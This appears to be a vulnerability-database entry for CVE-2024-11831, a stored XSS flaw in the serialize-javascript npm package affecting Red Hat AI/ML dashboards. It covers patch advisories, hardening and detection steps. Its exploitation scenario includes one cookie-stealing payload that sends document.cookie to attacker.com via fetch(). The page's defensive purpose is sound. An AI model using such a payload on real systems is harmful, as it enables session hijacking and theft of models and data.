CVE-2024-11831: serialize-javascript: XSS via regex in AI/ML dashboards
MEDIUMserialize-javascript fails to sanitize regex and certain JavaScript object types before serialization, allowing an authenticated attacker with low privileges to inject scripts that execute in any browser rendering that serialized output — a classic stored XSS path. The blast radius is meaningful: 2,959 downstream npm dependents and 12 prior CVEs in this same package signal a persistently under-hardened component now embedded in Red Hat AI/ML products, including Open Data Hub dashboards, ODH ML pipelines, OpenShift AI (Lightspeed), and Ansible Automation Platform Lightspeed. CVSS 5.4 and absence from CISA KEV moderate urgency, but the privileged user base — ML engineers and platform admins accessing these dashboards — means a successful session hijack translates directly into access to model registries, training infrastructure, and data pipelines. Apply the applicable Red Hat advisories (RHSA-2025:0381, RHSA-2025:1334, RHSA-2025:1468, and six others) and upgrade serialize-javascript to ≥6.0.2 in any internal webpack-bundled tooling.
What is the risk?
Medium risk overall, elevated in AI/ML platform contexts. Exploitation requires low privileges and user interaction (a victim must load a page rendering attacker-controlled serialized data), limiting opportunistic mass exploitation. However, the affected products include AI/ML control planes — Open Data Hub dashboard, OpenShift AI Lightspeed, ODH ML pipelines — where a compromised session grants access to model registries, training infrastructure, and pipeline configurations. The 12 historical CVEs in serialize-javascript and an OpenSSF Scorecard of 5.6/10 indicate weak upstream security hygiene, increasing likelihood of recurring issues. Organizations running Red Hat AI/ML stacks on OpenShift should treat this as P2 patching priority.
How does the attack unfold?
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch (Red Hat products): Apply RHSA-2025:0381, RHSA-2025:1334, RHSA-2025:1468, RHSA-2025:3870, RHSA-2025:4511, RHSA-2025:8059, RHSA-2025:10853, RHSA-2025:21068, RHSA-2025:21203 for all affected RHEL/OpenShift products.
-
Upgrade in-house tooling: pin serialize-javascript to ≥6.0.2 in any npm/webpack project; run 'npm audit' or 'grype' to surface transitive inclusions.
-
Harden dashboards: enforce a strict Content-Security-Policy (script-src 'self') on AI dashboard origins to block inline and cross-origin script execution as defense-in-depth.
-
Detection: monitor WAF and CSP violation logs for unexpected script-src executions from AI dashboard origins; flag POST bodies containing regex literals or Function constructor patterns submitted to serialization endpoints.
-
If patching is delayed: restrict access to affected dashboards to trusted networks via network policy or RBAC controls on OpenShift.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2024-11831?
serialize-javascript fails to sanitize regex and certain JavaScript object types before serialization, allowing an authenticated attacker with low privileges to inject scripts that execute in any browser rendering that serialized output — a classic stored XSS path. The blast radius is meaningful: 2,959 downstream npm dependents and 12 prior CVEs in this same package signal a persistently under-hardened component now embedded in Red Hat AI/ML products, including Open Data Hub dashboards, ODH ML pipelines, OpenShift AI (Lightspeed), and Ansible Automation Platform Lightspeed. CVSS 5.4 and absence from CISA KEV moderate urgency, but the privileged user base — ML engineers and platform admins accessing these dashboards — means a successful session hijack translates directly into access to model registries, training infrastructure, and data pipelines. Apply the applicable Red Hat advisories (RHSA-2025:0381, RHSA-2025:1334, RHSA-2025:1468, and six others) and upgrade serialize-javascript to ≥6.0.2 in any internal webpack-bundled tooling.
Is CVE-2024-11831 actively exploited?
No confirmed active exploitation of CVE-2024-11831 has been reported, but organizations should still patch proactively.
How to fix CVE-2024-11831?
1. Patch (Red Hat products): Apply RHSA-2025:0381, RHSA-2025:1334, RHSA-2025:1468, RHSA-2025:3870, RHSA-2025:4511, RHSA-2025:8059, RHSA-2025:10853, RHSA-2025:21068, RHSA-2025:21203 for all affected RHEL/OpenShift products. 2. Upgrade in-house tooling: pin serialize-javascript to ≥6.0.2 in any npm/webpack project; run 'npm audit' or 'grype' to surface transitive inclusions. 3. Harden dashboards: enforce a strict Content-Security-Policy (script-src 'self') on AI dashboard origins to block inline and cross-origin script execution as defense-in-depth. 4. Detection: monitor WAF and CSP violation logs for unexpected script-src executions from AI dashboard origins; flag POST bodies containing regex literals or Function constructor patterns submitted to serialization endpoints. 5. If patching is delayed: restrict access to affected dashboards to trusted networks via network policy or RBAC controls on OpenShift.
What systems are affected by CVE-2024-11831?
This vulnerability affects the following AI/ML architecture patterns: ML dashboards and platform UIs, ML pipeline management interfaces, Model registry and serving control planes, AI-enabled DevOps and automation tooling, Notebook management platforms.
What is the CVSS score for CVE-2024-11831?
CVE-2024-11831 has a CVSS v3.1 base score of 5.4 (MEDIUM).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0012 Valid Accounts AML.T0049 Exploit Public-Facing Application AML.T0078 Drive-by Compromise Compliance Controls Affected
What are the technical details?
Original Advisory
A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.
Exploitation Scenario
A data scientist with standard dashboard access crafts a pipeline parameter or notebook configuration field containing a regex-wrapped XSS payload — for example, a project name set to /(<img src=x onerror='fetch("https://attacker.com/c?"+document.cookie)'>)/g. When serialize-javascript processes this value to embed it in a server-rendered page bundle, it fails to neutralize the embedded HTML. The next time an ML platform admin reviews pipeline configurations in the ODH dashboard, the payload executes in their browser, silently exfiltrating their session cookie to the attacker. Using that token, the adversary impersonates the admin, accesses the model registry, exfiltrates proprietary fine-tuned models, or injects poisoned dataset references into active training pipelines — all within the bounds of a legitimate authenticated session.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N References
- access.redhat.com/errata/RHBA-2025:0304 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:0381 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:10853 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:1334 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:1468 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:21068 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:21203 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:3870 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:4511 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:8059 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:8078 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:8233 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:8479 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:8512 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:8544 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:8551 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2025:9294 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2026:1536 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2026:2769 vendor-advisory x_refsource_REDHAT
- access.redhat.com/errata/RHSA-2026:8568 vendor-advisory x_refsource_REDHAT
- access.redhat.com/security/cve/CVE-2024-11831 vdb-entry x_refsource_REDHAT
- bugzilla.redhat.com/show_bug.cgi issue-tracking x_refsource_REDHAT
- github.com/yahoo/serialize-javascript/commit/f27d65d3de42affe2aac14607066c293891cec4e
- github.com/yahoo/serialize-javascript/pull/173
Timeline
Related Vulnerabilities
CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: notebook CVE-2026-5422 8.1 jupyter-server: path traversal exposes sibling dir files
Same package: notebook CVE-2018-8768 7.8 Jupyter Notebook: XSS via malicious .ipynb file
Same package: notebook CVE-2026-35397 7.1 Jupyter Server: path traversal leaks sibling directories
Same package: notebook CVE-2026-39378 6.5 nbconvert: path traversal exfiltrates files via HTML export
Same package: notebook